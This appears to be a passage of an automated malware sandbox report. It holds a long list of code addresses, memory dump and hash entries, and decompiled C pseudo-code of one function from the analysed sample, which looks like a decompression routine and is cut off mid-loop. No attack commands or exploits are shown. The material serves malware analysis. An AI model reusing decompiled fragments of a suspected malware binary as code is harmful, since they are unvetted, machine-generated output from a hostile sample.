                                        0x00407d35
                                        0x00407d3a
                                        0x00407d40
                                        0x00407d43
                                        0x00407d45
                                        0x00407d48
                                        0x00407d4f
                                        0x00407d54
                                        0x00407d5c
                                        0x00407d62
                                        0x00407d67
                                        0x00407d6e
                                        0x00407d74
                                        0x00000000
                                        0x00407d7a
                                        0x00407d7a
                                        0x00407d7d
                                        0x00000000
                                        0x00407d7d
                                        0x00407cc0
                                        0x00407cc0
                                        0x00407cc3
                                        0x00000000
                                        0x00407cc5
                                        0x00407cc5
                                        0x00407ccd
                                        0x00407cd1
                                        0x00407cd3
                                        0x00407cd5
                                        0x00407cd6
                                        0x00407cd9
                                        0x00407cda
                                        0x00407cdc
                                        0x00407ce3
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407ce3
                                        0x00000000
                                        0x00407cc5
                                        0x00000000
                                        0x00407ce5
                                        0x00407ce5
                                        0x00407ce8
                                        0x00407cf2
                                        0x00407cf5
                                        0x00407cfa
                                        0x00407cfd
                                        0x00407d00
                                        0x00407d03
                                        0x00407d06
                                        0x00000000
                                        0x00407cc0
                                        0x00000000
                                        0x00000000
                                        0x00407d83
                                        0x00407d83
                                        0x00407d86
                                        0x00407d8c
                                        0x00407fb5
                                        0x00407fb8
                                        0x00000000
                                        0x00407fbe
                                        0x00407fbe
                                        0x00407fc4
                                        0x00407fc7
                                        0x00407fc9
                                        0x00407fd0
                                        0x00407fd3
                                        0x00407fd8
                                        0x00407fdc
                                        0x00407fe2
                                        0x00407fe8
                                        0x00407ff0
                                        0x00407ff6
                                        0x0040800c
                                        0x0040800f
                                        0x00408012
                                        0x00408015
                                        0x0040801c
                                        0x00408021
                                        0x00408024
                                        0x0040802a
                                        0x0040802e
                                        0x00408035
                                        0x0040803a
                                        0x00408041
                                        0x00408047
                                        0x00408059
                                        0x00000000
                                        0x00408049
                                        0x00408049
                                        0x0040804d
                                        0x00000000
                                        0x0040804d
                                        0x00407ff8
                                        0x00407ff8
                                        0x00407ffc
                                        0x00408000
                                        0x00000000
                                        0x00408000
                                        0x00407ff6
                                        0x00407d92
                                        0x00407d92
                                        0x00407d92
                                        0x00407d9a
                                        0x00407d9c
                                        0x00407da0
                                        0x00407da2
                                        0x00407da7
                                        0x00407daa
                                        0x00407dad
                                        0x00407db3
                                        0x00407df3
                                        0x00407df5
                                        0x00407dfb
                                        0x00407e52
                                        0x00407e5b
                                        0x00407ec9
                                        0x00407ecc
                                        0x00407ed0
                                        0x00407f1e
                                        0x00407f23
                                        0x00407f4b
                                        0x00407f4b
                                        0x00407f4f
                                        0x00407f52
                                        0x00407f55
                                        0x00407f59
                                        0x00407f5c
                                        0x00000000
                                        0x00407f25
                                        0x00407f25
                                        0x00407f2d
                                        0x00407f31
                                        0x00407f33
                                        0x00407f35
                                        0x00407f39
                                        0x00407f3a
                                        0x00407f3d
                                        0x00407f3f
                                        0x00407f42
                                        0x00407f43
                                        0x00407f49
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407f49
                                        0x00000000
                                        0x00407f25
                                        0x00407ed2
                                        0x00407ed2
                                        0x00407ed7
                                        0x00407f06
                                        0x00407f06
                                        0x00407f0a
                                        0x00407f0d
                                        0x00407f10
                                        0x00407f14
                                        0x00407f17
                                        0x00407f61
                                        0x00407f63
                                        0x00407f65
                                        0x00407f69
                                        0x00000000
                                        0x00407ee0
                                        0x00407ee0
                                        0x00407ee8
                                        0x00407eec
                                        0x00407eee
                                        0x00407ef0
                                        0x00407ef4
                                        0x00407ef5
                                        0x00407ef8
                                        0x00407efa
                                        0x00407efd
                                        0x00407efe
                                        0x00407f04
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407f04
                                        0x00000000
                                        0x00407ee0
                                        0x00407ed7
                                        0x00407e5d
                                        0x00407e5d
                                        0x00407e60
                                        0x00407e63
                                        0x00407e69
                                        0x00407e96
                                        0x00407e96
                                        0x00407e99
                                        0x00407e9b
                                        0x00407e9f
                                        0x00000000
                                        0x00407ea5
                                        0x00407ea5
                                        0x00407eac
                                        0x00407eaf
                                        0x00407eb2
                                        0x00407eb5
                                        0x00407eb9
                                        0x00407ebd
                                        0x00407f71
                                        0x00407f71
                                        0x00407f74
                                        0x00407f79
                                        0x00407f7e
                                        0x004075ab
                                        0x004075ab
                                        0x004075af
                                        0x00000000
                                        0x00407f84
                                        0x00407f89
                                        0x00407f8b
                                        0x00407f90
                                        0x00407f90
                                        0x00407f93
                                        0x00407f97
                                        0x00407f9c
                                        0x00407f9f
                                        0x00407f90
                                        0x00000000
                                        0x00407f89
                                        0x00407f7e
                                        0x00407e6b
                                        0x00407e70
                                        0x00407e78
                                        0x00407e7c
                                        0x00407e7e
                                        0x00407e80
                                        0x00407e84
                                        0x00407e85
                                        0x00407e88
                                        0x00407e8a
                                        0x00407e8d
                                        0x00407e8e
                                        0x00407e94
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407e94
                                        0x00000000
                                        0x00407e70
                                        0x00407e69
                                        0x00407dfd
                                        0x00407dff
                                        0x00407e02
                                        0x00407e07
                                        0x00407e36
                                        0x00407e36
                                        0x00407e39
                                        0x00407e3c
                                        0x00407e3e
                                        0x00407e40
                                        0x00407e45
                                        0x00407e4a
                                        0x00000000
                                        0x00407e10
                                        0x00407e10
                                        0x00407e18
                                        0x00407e1c
                                        0x00407e1e
                                        0x00407e20
                                        0x00407e21
                                        0x00407e24
                                        0x00407e25
                                        0x00407e27
                                        0x00407e2b
                                        0x00407e2e
                                        0x00407e34
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407e34
                                        0x00000000
                                        0x00407e10
                                        0x00407e07
                                        0x00407db5
                                        0x00407db5
                                        0x00407dbd
                                        0x00407dc1
                                        0x00407dc3
                                        0x00407dc5
                                        0x00407dc8
                                        0x00407dc9
                                        0x00407dcc
                                        0x00407dd3
                                        0x00407dd5
                                        0x00407dd8
                                        0x00407dd9
                                        0x00407dde
                                        0x00407de0
                                        0x00407de5
                                        0x00407de8
                                        0x00407deb
                                        0x00407df1
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407df1
                                        0x00000000
                                        0x00407db5
                                        0x00000000
                                        0x00407fa6
                                        0x00407fa6
                                        0x00407fa9
                                        0x00407fac
                                        0x00000000
                                        0x00407d92
                                        0x00000000
                                        0x00000000
                                        0x0040805f
                                        0x00408062
                                        0x004080c5
                                        0x004080cd
                                        0x004080d0
                                        0x004080d2
                                        0x004080d4
                                        0x004080d7
                                        0x004080dc
                                        0x004080df
                                        0x004080e2
                                        0x004080e8
                                        0x0040812e
                                        0x00408130
                                        0x004081f7
                                        0x004081f9
                                        0x004081fc
                                        0x004081ff
                                        0x00408201
                                        0x00408203
                                        0x00408209
                                        0x0040820c
                                        0x00408211
                                        0x00408220
                                        0x0040822f
                                        0x00408244
                                        0x00408247
                                        0x0040824a
                                        0x00000000
                                        0x00408231
                                        0x00408231
                                        0x00408235
                                        0x00000000
                                        0x00408235
                                        0x00408222
                                        0x00408222
                                        0x00408222
                                        0x00000000
                                        0x00408222
                                        0x00408213
                                        0x00408213
                                        0x00000000
                                        0x00408213
                                        0x0040813e
                                        0x00408140
                                        0x00408143
                                        0x00408147
                                        0x0040814a
                                        0x00408151
                                        0x00408155
                                        0x0040815e
                                        0x00408160
                                        0x00408165
                                        0x00408167
                                        0x0040816d
                                        0x00408170
                                        0x00408172
                                        0x00408174
                                        0x00408177
                                        0x0040817a
                                        0x0040817f
                                        0x00408186
                                        0x00408189
                                        0x0040818d
                                        0x004081ea
                                        0x004081ea
                                        0x004081ef
                                        0x004081f3
                                        0x004081f5
                                        0x00000000
                                        0x00408190
                                        0x00408190
                                        0x00408198
                                        0x0040819c
                                        0x0040819e
                                        0x004081a0
                                        0x004081a4
                                        0x004081a5
                                        0x004081a8
                                        0x004081aa
                                        0x004081ad
                                        0x004081b4
                                        0x004081bb
                                        0x004081bd
                                        0x004081c1
                                        0x004081c2
                                        0x004081c7
                                        0x004081c9
                                        0x004081cb
                                        0x004081d0
                                        0x004081d2
                                        0x004081d5
                                        0x004081d8
                                        0x004081df
                                        0x004081e2
                                        0x004081e8
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004081e8
                                        0x00000000
                                        0x00408190
                                        0x0040818d
                                        0x004080f0
                                        0x004080f0
                                        0x004080f8
                                        0x004080fc
                                        0x004080fe
                                        0x00408100
                                        0x00408103
                                        0x00408104
                                        0x00408107
                                        0x0040810e
                                        0x00408110
                                        0x00408113
                                        0x00408114
                                        0x00408119
                                        0x0040811b
                                        0x00408120
                                        0x00408123
                                        0x00408126
                                        0x0040812c
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040812c
                                        0x00000000
                                        0x004080f0
                                        0x0040806e
                                        0x0040806e
                                        0x00408072
                                        0x00408076
                                        0x0040807a
                                        0x0040807d
                                        0x00408081
                                        0x00408084
                                        0x00408088
                                        0x00408089
                                        0x0040808b
                                        0x0040808e
                                        0x0040808f
                                        0x00408092
                                        0x00408095
                                        0x0040809a
                                        0x0040809e
                                        0x004080a1
                                        0x004080a4
                                        0x004080a6
                                        0x004080a9
                                        0x004080ac
                                        0x004080af
                                        0x004080b3
                                        0x004080b6
                                        0x004080ba
                                        0x004080be
                                        0x00000000
                                        0x004080be
                                        0x00000000
                                        0x00000000
                                        0x00408250
                                        0x00408250
                                        0x00408255
                                        0x00408294
                                        0x00408294
                                        0x00000000
                                        0x00408257
                                        0x00408259
                                        0x00408280
                                        0x00408280
                                        0x00408288
                                        0x0040828b
                                        0x0040828d
                                        0x00408290
                                        0x00408292
                                        0x00000000
                                        0x0040825b
                                        0x00408260
                                        0x00408268
                                        0x0040826c
                                        0x0040826e
                                        0x00408270
                                        0x00408271
                                        0x00408274
                                        0x00408275
                                        0x00408277
                                        0x0040827e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040827e
                                        0x00000000
                                        0x00408260
                                        0x00408259
                                        0x00000000
                                        0x00000000
                                        0x0040829a
                                        0x0040829a
                                        0x004082a2
                                        0x004082a5
                                        0x004082a7
                                        0x004082a9
                                        0x004082ac
                                        0x004082b1
                                        0x004082b4
                                        0x004082b7
                                        0x004082bd
                                        0x004082fe
                                        0x00408300
                                        0x004083be
                                        0x004083c0
                                        0x004083c3
                                        0x004083c6
                                        0x004083c8
                                        0x004083ca
                                        0x004083d0
                                        0x004083e2
                                        0x004083e4
                                        0x004083e7
                                        0x004083ea
                                        0x004083ed
                                        0x004083f0
                                        0x004083f3
                                        0x00000000
                                        0x004083d2
                                        0x004083d2
                                        0x004083d6
                                        0x00000000
                                        0x004083d6
                                        0x00408306
                                        0x00408308
                                        0x0040830b
                                        0x0040830f
                                        0x00408312
                                        0x00408319
                                        0x0040831d
                                        0x00408326
                                        0x00408328
                                        0x0040832d
                                        0x0040832f
                                        0x00408335
                                        0x00408338
                                        0x0040833a
                                        0x0040833c
                                        0x0040833f
                                        0x00408342
                                        0x00408347
                                        0x0040834e
                                        0x00408351
                                        0x00408355
                                        0x004083b1
                                        0x004083b1
                                        0x004083b6
                                        0x004083ba
                                        0x004083bc
                                        0x00000000
                                        0x00408357
                                        0x00408357
                                        0x0040835f
                                        0x00408363
                                        0x00408365
                                        0x00408367
                                        0x0040836b
                                        0x0040836c
                                        0x0040836f
                                        0x00408371
                                        0x00408374
                                        0x0040837b
                                        0x00408382
                                        0x00408384
                                        0x00408388
                                        0x00408389
                                        0x0040838e
                                        0x00408390
                                        0x00408392
                                        0x00408397
                                        0x00408399
                                        0x0040839c
                                        0x0040839f
                                        0x004083a6
                                        0x004083a9
                                        0x004083af
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004083af
                                        0x00000000
                                        0x00408357
                                        0x00408355
                                        0x004082c0
                                        0x004082c0
                                        0x004082c8
                                        0x004082cc
                                        0x004082ce
                                        0x004082d0
                                        0x004082d3
                                        0x004082d4
                                        0x004082d7
                                        0x004082de
                                        0x004082e0
                                        0x004082e3
                                        0x004082e4
                                        0x004082e9
                                        0x004082eb
                                        0x004082f0
                                        0x004082f3
                                        0x004082f6
                                        0x004082fc
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004082fc
                                        0x00000000
                                        0x004082c0
                                        0x00000000
                                        0x00000000
                                        0x004083f9
                                        0x004083f9
                                        0x004083fe
                                        0x00408438
                                        0x0040843b
                                        0x0040843f
                                        0x00408446
                                        0x00408458
                                        0x00000000
                                        0x00408448
                                        0x00408448
                                        0x0040844c
                                        0x00000000
                                        0x0040844c
                                        0x00408400
                                        0x00408402
                                        0x00408424
                                        0x00408424
                                        0x0040842c
                                        0x0040842e
                                        0x0040842f
                                        0x00408431
                                        0x00408434
                                        0x00408436
                                        0x00000000
                                        0x00408404
                                        0x00408404
                                        0x0040840c
                                        0x00408410
                                        0x00408412
                                        0x00408414
                                        0x00408415
                                        0x00408418
                                        0x00408419
                                        0x0040841b
                                        0x00408422
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408422
                                        0x00000000
                                        0x00408404
                                        0x00408402
                                        0x00000000
                                        0x00000000
                                        0x0040845e
                                        0x00408463
                                        0x00000000
                                        0x00408469
                                        0x00408469
                                        0x0040846d
                                        0x00408471
                                        0x00408476
                                        0x004084b4
                                        0x004084b8
                                        0x004084ba
                                        0x004084bd
                                        0x004084c1
                                        0x00000000
                                        0x00408478
                                        0x00408478
                                        0x0040847a
                                        0x0040847d
                                        0x00408483
                                        0x00408498
                                        0x0040849a
                                        0x0040849d
                                        0x00408485
                                        0x00408485
                                        0x0040848a
                                        0x0040848d
                                        0x00408491
                                        0x00408491
                                        0x004084a1
                                        0x004084a5
                                        0x004084a8
                                        0x004084ae
                                        0x004084b0
                                        0x004084c5
                                        0x004084c5
                                        0x004084c5
                                        0x004084ae
                                        0x004084c9
                                        0x004084cf
                                        0x004084d1
                                        0x004084d3
                                        0x004084d3
                                        0x004084d9
                                        0x004084dd
                                        0x004084e1
                                        0x004084e3
                                        0x004084e7
                                        0x004084f0
                                        0x004084f0
                                        0x004084f4
                                        0x004084f6
                                        0x004084fa
                                        0x004084fc
                                        0x004084fd
                                        0x004084fd
                                        0x004084fd
                                        0x00408508
                                        0x0040850c
                                        0x00408512
                                        0x00408512
                                        0x00000000
                                        0x0040850c
                                        0x00000000
                                        0x00000000
                                        0x00408522
                                        0x00000000
                                        0x00408528
                                        0x00408528
                                        0x0040852c
                                        0x0040852f
                                        0x00408531
                                        0x00408532
                                        0x00408536
                                        0x0040853a
                                        0x00000000
                                        0x0040853a
                                        0x00000000
                                        0x00000000
                                        0x00408549
                                        0x00408606
                                        0x00408606
                                        0x00000000
                                        0x0040854f
                                        0x00408552
                                        0x00408574
                                        0x00408574
                                        0x00408578
                                        0x0040857c
                                        0x00408580
                                        0x00408583
                                        0x00408586
                                        0x0040858c
                                        0x0040858e
                                        0x00408592
                                        0x00408595
                                        0x0040859c
                                        0x0040859d
                                        0x0040859e
                                        0x004085a7
                                        0x004085a0
                                        0x004085a0
                                        0x004085a0
                                        0x004085ac
                                        0x004085b0
                                        0x004085b4
                                        0x004085b7
                                        0x004085ba
                                        0x004085ba
                                        0x004085c1
                                        0x004085c5
                                        0x004085c9
                                        0x004085cb
                                        0x004085cd
                                        0x004085d4
                                        0x004085d7
                                        0x004085db
                                        0x004085de
                                        0x004085e4
                                        0x004085e7
                                        0x004085eb
                                        0x004085ee
                                        0x004085ee
                                        0x004085f3
                                        0x00408602
                                        0x00408604
                                        0x00000000
                                        0x004085f5
                                        0x004085f5
                                        0x004085f9
                                        0x00000000
                                        0x004085f9
                                        0x00408554
                                        0x00408554
                                        0x0040855c
                                        0x00408560
                                        0x00408562
                                        0x00408564
                                        0x00408565
                                        0x00408568
                                        0x00408569
                                        0x0040856b
                                        0x00408572
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408572
                                        0x00000000
                                        0x00408554
                                        0x00408552
                                        0x00000000
                                        0x00000000
                                        0x0040860c
                                        0x00408610
                                        0x004086a1
                                        0x004086a1
                                        0x00000000
                                        0x00408620
                                        0x00408623
                                        0x00408645
                                        0x00408648
                                        0x0040869d
                                        0x0040869f
                                        0x00000000
                                        0x0040864a
                                        0x0040864a
                                        0x0040864e
                                        0x00408655
                                        0x00408655
                                        0x00000000
                                        0x00408655
                                        0x00408625
                                        0x00408625
                                        0x0040862d
                                        0x00408631
                                        0x00408633
                                        0x00408635
                                        0x00408636
                                        0x00408639
                                        0x0040863a
                                        0x0040863c
                                        0x00408643
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408643
                                        0x00000000
                                        0x00408625
                                        0x00408623
                                        0x00000000
                                        0x00000000
                                        0x004086a7
                                        0x004086a7
                                        0x00000000
                                        0x00000000
                                        0x004086b1
                                        0x004086b9
                                        0x004086b9
                                        0x004086c1
                                        0x004086c8
                                        0x004086cb
                                        0x004086cd
                                        0x004086d4
                                        0x004086d7
                                        0x004086da
                                        0x004086f9
                                        0x00000000
                                        0x004086fb
                                        0x004086fb
                                        0x00000000
                                        0x004086fb
                                        0x0040870e
                                        0x0040870e
                                        0x0040870e
                                        0x00408716
                                        0x0040871d
                                        0x00408720
                                        0x00408723
                                        0x00408726
                                        0x0040872d
                                        0x00408737
                                        0x00408738
                                        0x00408753
                                        0x00408754
                                        0x00408755
                                        0x0040873a
                                        0x00408742
                                        0x00408743
                                        0x00408744
                                        0x00408744
                                        0x0040875a
                                        0x0040875d
                                        0x00408760
                                        0x00408760
                                        0x00408768
                                        0x00408780
                                        0x00408785
                                        0x00408790
                                        0x004087b6
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408792
                                        0x00408792
                                        0x00408792
                                        0x00408798
                                        0x0040866b
                                        0x00408672
                                        0x0040879e
                                        0x004087aa
                                        0x004087aa
                                        0x00408798
                                        0x00408785
                                        0x00000000
                                        0x00000000
                                        0x00408701
                                        0x0040870d
                                        0x00000000
                                        0x00000000
                                        0x0040865b
                                        0x0040865b
                                        0x0040865d
                                        0x00000000
                                        0x00407420
                                        0x00407414
                                        0x004073b5
                                        0x00000000

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 20055dc05f39624d89f9d13173d00032c9ddb5f23ed3028259e70998ae7a08b4
                                        • Instruction ID: 17d22deff8d32e931318445bbea846c6b698fa6fcc44f6923348d96d7e24b863
                                        • Opcode Fuzzy Hash: 20055dc05f39624d89f9d13173d00032c9ddb5f23ed3028259e70998ae7a08b4
                                        • Instruction Fuzzy Hash: 0A329E70A087029FD318CF29C98472AB7E1BF84304F148A3EE89567781D779E955CBDA
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020877C2, Relevance: .4, Instructions: 419COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 53fd915c455bc613e875872949079b38185adfdf937e690afefee85b57ad4f6d
                                        • Instruction ID: 28ac79ec801eddda7c12475e0cb4b41cb4c44368e5c88aad2e49dd81292805e8
                                        • Opcode Fuzzy Hash: 53fd915c455bc613e875872949079b38185adfdf937e690afefee85b57ad4f6d
                                        • Instruction Fuzzy Hash: F2F189746047069FD349DF28C88476BB7E2BF88304F248A2DE8D48B794D374E955DB92
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00406CA0, Relevance: .4, Instructions: 401COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00406CA0() {
				intOrPtr _t153;
				unsigned int _t157;
				unsigned int _t160;
				intOrPtr _t172;
				signed int _t174;
				signed char _t180;
				signed int _t181;
				void* _t183;
				void* _t185;
				void* _t186;
				void* _t187;
				void* _t188;
				intOrPtr _t190;
				unsigned int _t192;
				char _t198;
				char _t199;
				char _t202;
				unsigned int _t217;
				intOrPtr* _t221;
				intOrPtr _t222;
				signed char _t230;
				intOrPtr* _t232;
				signed char _t237;
				unsigned int _t245;
				intOrPtr _t248;
				intOrPtr _t249;
				void* _t250;
				void* _t251;
				void* _t252;
				signed char _t263;
				signed char _t269;
				signed int _t280;
				signed int _t284;
				intOrPtr _t285;
				signed char _t288;
				signed char _t290;
				unsigned int _t297;
				char _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t318;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				char* _t331;
				char* _t333;
				char* _t334;
				char* _t335;
				signed char* _t337;
				void* _t341;
				unsigned int _t342;
				void* _t345;
				void* _t346;
				intOrPtr _t347;
				signed char* _t348;
				void* _t349;

				_t221 =  *((intOrPtr*)(_t349 + 0x50));
				_t153 =  *((intOrPtr*)(_t221 + 0x1c));
				_t217 =  *(_t153 + 0x38);
				_t337 =  *_t221 - 1;
				 *((intOrPtr*)(_t349 + 0x14)) =  *((intOrPtr*)(_t221 + 4)) + _t337 - 5;
				_t222 =  *((intOrPtr*)(_t221 + 0x10));
				_t331 =  *((intOrPtr*)(_t221 + 0xc)) - 1;
				 *((intOrPtr*)(_t349 + 0x38)) = _t222 -  *(_t349 + 0x54) + _t331;
				 *((intOrPtr*)(_t349 + 0x2c)) = _t222 + _t331 - 0x101;
				 *((intOrPtr*)(_t349 + 0x28)) =  *((intOrPtr*)(_t153 + 0x28));
				 *((intOrPtr*)(_t349 + 0x3c)) =  *((intOrPtr*)(_t153 + 0x2c));
				 *((intOrPtr*)(_t349 + 0x44)) =  *((intOrPtr*)(_t153 + 0x30));
				 *((intOrPtr*)(_t349 + 0x40)) =  *((intOrPtr*)(_t153 + 0x34));
				 *((intOrPtr*)(_t349 + 0x20)) =  *((intOrPtr*)(_t153 + 0x4c));
				 *((intOrPtr*)(_t349 + 0x24)) =  *((intOrPtr*)(_t153 + 0x50));
				 *((intOrPtr*)(_t349 + 0x18)) = _t153;
				_t326 =  *(_t153 + 0x3c);
				 *(_t349 + 0x54) = 1;
				_t280 = (1 <<  *(_t153 + 0x54)) - 1;
				 *(_t349 + 0x10) = _t337;
				 *(_t349 + 0x48) = 1;
				 *(_t349 + 0x30) = ( *(_t349 + 0x54) <<  *(_t153 + 0x58)) - 1;
				L1:
				while(1) {
					if(_t326 < 0xf) {
						_t174 = (_t337[1] & 0x000000ff) << _t326;
						_t337 =  &(_t337[2]);
						_t329 = _t326 + 8;
						 *(_t349 + 0x10) = _t337;
						_t217 = _t217 + _t174 + (( *_t337 & 0x000000ff) << _t329);
						_t326 = _t329 + 8;
					}
					_t157 =  *( *((intOrPtr*)(_t349 + 0x20)) + (_t280 & _t217) * 4);
					_t230 = _t157 >> 0x00000008 & 0x000000ff;
					_t284 = _t157 & 0x000000ff;
					_t217 = _t217 >> _t230;
					_t326 = _t326 - _t230;
					if(_t284 == 0) {
						L7:
						_t331 = _t331 + 1;
						 *_t331 = _t157 >> 0x10;
						L46:
						_t285 =  *((intOrPtr*)(_t349 + 0x14));
						if(_t337 >= _t285 || _t331 >=  *((intOrPtr*)(_t349 + 0x2c))) {
							L59:
							_t160 = _t326 >> 3;
							_t338 = _t337 - _t160;
							_t327 = _t326 - _t160 + _t160 + _t160 + _t160 + _t160 + _t160 + _t160 + _t160;
							_t232 =  *((intOrPtr*)(_t349 + 0x50));
							_t144 = _t338 + 1; // -1
							 *_t232 = _t144;
							 *((intOrPtr*)(_t232 + 0xc)) = _t331 + 1;
							 *((intOrPtr*)(_t232 + 0x10)) =  *((intOrPtr*)(_t349 + 0x2c)) - _t331 + 0x101;
							_t172 =  *((intOrPtr*)(_t349 + 0x18));
							 *((intOrPtr*)(_t232 + 4)) = _t285 - _t337 - _t160 + 5;
							 *(_t172 + 0x3c) = _t327;
							 *(_t172 + 0x38) = _t217 & (0x00000001 << _t327) - 0x00000001;
							return _t172;
						} else {
							_t280 =  *(_t349 + 0x48);
							continue;
						}
					}
					while((_t284 & 0x00000010) == 0) {
						if((_t284 & 0x00000040) != 0) {
							if((_t284 & 0x00000020) == 0) {
								L57:
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x50)) + 0x18)) = 0x41d338;
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0x1b;
								L58:
								_t285 =  *((intOrPtr*)(_t349 + 0x14));
								goto L59;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0xb;
							goto L58;
						}
						 *(_t349 + 0x54) = 1;
						_t157 =  *( *((intOrPtr*)(_t349 + 0x20)) + ((( *(_t349 + 0x54) << _t284) - 0x00000001 & _t217) + (_t157 >> 0x10)) * 4);
						_t269 = _t157 >> 0x00000008 & 0x000000ff;
						_t284 = _t157 & 0x000000ff;
						_t217 = _t217 >> _t269;
						_t326 = _t326 - _t269;
						if(_t284 != 0) {
							continue;
						}
						goto L7;
					}
					_t288 = _t284 & 0x0000000f;
					 *(_t349 + 0x54) = _t157 >> 0x10;
					if(_t288 != 0) {
						_t263 = _t288;
						 *(_t349 + 0x54) =  *(_t349 + 0x54) + ((0x00000001 << _t263) - 0x00000001 & _t217);
						_t217 = _t217 >> _t263;
						_t326 = _t326 - _t288;
					}
					if(_t326 < 0xf) {
						_t318 = _t337[1] & 0x000000ff;
						_t348 =  &(_t337[1]);
						_t337 =  &(_t348[1]);
						_t328 = _t326 + 8;
						 *(_t349 + 0x10) = _t337;
						_t217 = _t217 + (_t318 << _t326) + ((_t348[1] & 0x000000ff) << _t328);
						_t326 = _t328 + 8;
					}
					_t290 =  *( *((intOrPtr*)(_t349 + 0x24)) + ( *(_t349 + 0x30) & _t217) * 4);
					_t237 = _t290 >> 0x00000008 & 0x000000ff;
					_t180 = _t290 & 0x000000ff;
					_t217 = _t217 >> _t237;
					_t326 = _t326 - _t237;
					 *(_t349 + 0x1c) = _t290;
					if((_t180 & 0x00000010) != 0) {
						L17:
						_t181 = _t180 & 0x0000000f;
						 *(_t349 + 0x1c) = _t290 >> 0x10;
						if(_t326 < _t181) {
							_t309 = _t337[1] & 0x000000ff;
							_t337 =  &(_t337[1]);
							_t310 = _t309 << _t326;
							_t326 = _t326 + 8;
							 *(_t349 + 0x10) = _t337;
							_t217 = _t217 + _t310;
							if(_t326 < _t181) {
								_t311 = _t337[1] & 0x000000ff;
								_t337 =  &(_t337[1]);
								 *(_t349 + 0x10) = _t337;
								_t217 = _t217 + (_t311 << _t326);
								_t326 = _t326 + 8;
							}
						}
						_t326 = _t326 - _t181;
						_t297 =  *(_t349 + 0x1c) + ((0x00000001 << _t181) - 0x00000001 & _t217);
						_t183 = _t331 -  *((intOrPtr*)(_t349 + 0x38));
						_t217 = _t217 >> _t181;
						 *(_t349 + 0x1c) = _t297;
						if(_t297 <= _t183) {
							_t185 = _t331 - _t297;
							do {
								_t186 = _t185 + 1;
								 *((char*)(_t331 + 1)) =  *(_t185 + 1) & 0x000000ff;
								_t187 = _t186 + 1;
								_t333 = _t331 + 2;
								 *_t333 =  *((intOrPtr*)(_t186 + 1));
								_t185 = _t187 + 1;
								_t331 = _t333 + 1;
								 *_t331 =  *(_t187 + 1) & 0x000000ff;
								_t245 =  *(_t349 + 0x54) - 3;
								 *(_t349 + 0x54) = _t245;
							} while (_t245 > 2);
							if(_t245 != 0) {
								_t188 = _t185 + 1;
								_t331 = _t331 + 1;
								 *_t331 =  *(_t185 + 1);
								if(_t245 > 1) {
									_t331 = _t331 + 1;
									 *_t331 =  *((intOrPtr*)(_t188 + 1));
								}
							}
							goto L46;
						} else {
							_t341 = _t297 - _t183;
							if(_t341 >  *((intOrPtr*)(_t349 + 0x3c))) {
								_t337 =  *(_t349 + 0x10);
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x50)) + 0x18)) = 0x41d338;
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0x1b;
								goto L58;
							}
							_t190 =  *((intOrPtr*)(_t349 + 0x44));
							_t248 =  *((intOrPtr*)(_t349 + 0x40)) - 1;
							 *((intOrPtr*)(_t349 + 0x34)) = _t248;
							if(_t190 != 0) {
								if(_t190 >= _t341) {
									_t249 = _t248 + _t190 - _t341;
									if(_t341 >=  *(_t349 + 0x54)) {
										L39:
										_t192 =  *(_t349 + 0x54);
										if(_t192 <= 2) {
											L42:
											_t342 =  *(_t349 + 0x54);
											if(_t342 != 0) {
												_t250 = _t249 + 1;
												_t331 = _t331 + 1;
												 *_t331 =  *(_t249 + 1);
												if(_t342 > 1) {
													_t331 = _t331 + 1;
													 *_t331 =  *((intOrPtr*)(_t250 + 1));
												}
											}
											_t337 =  *(_t349 + 0x10);
											goto L46;
										}
										_t107 = _t192 - 3; // -2
										_t345 = (0xaaaaaaab * _t107 >> 0x20 >> 1) + 1;
										do {
											 *(_t349 + 0x54) =  *(_t349 + 0x54) - 3;
											_t251 = _t249 + 1;
											_t334 = _t331 + 1;
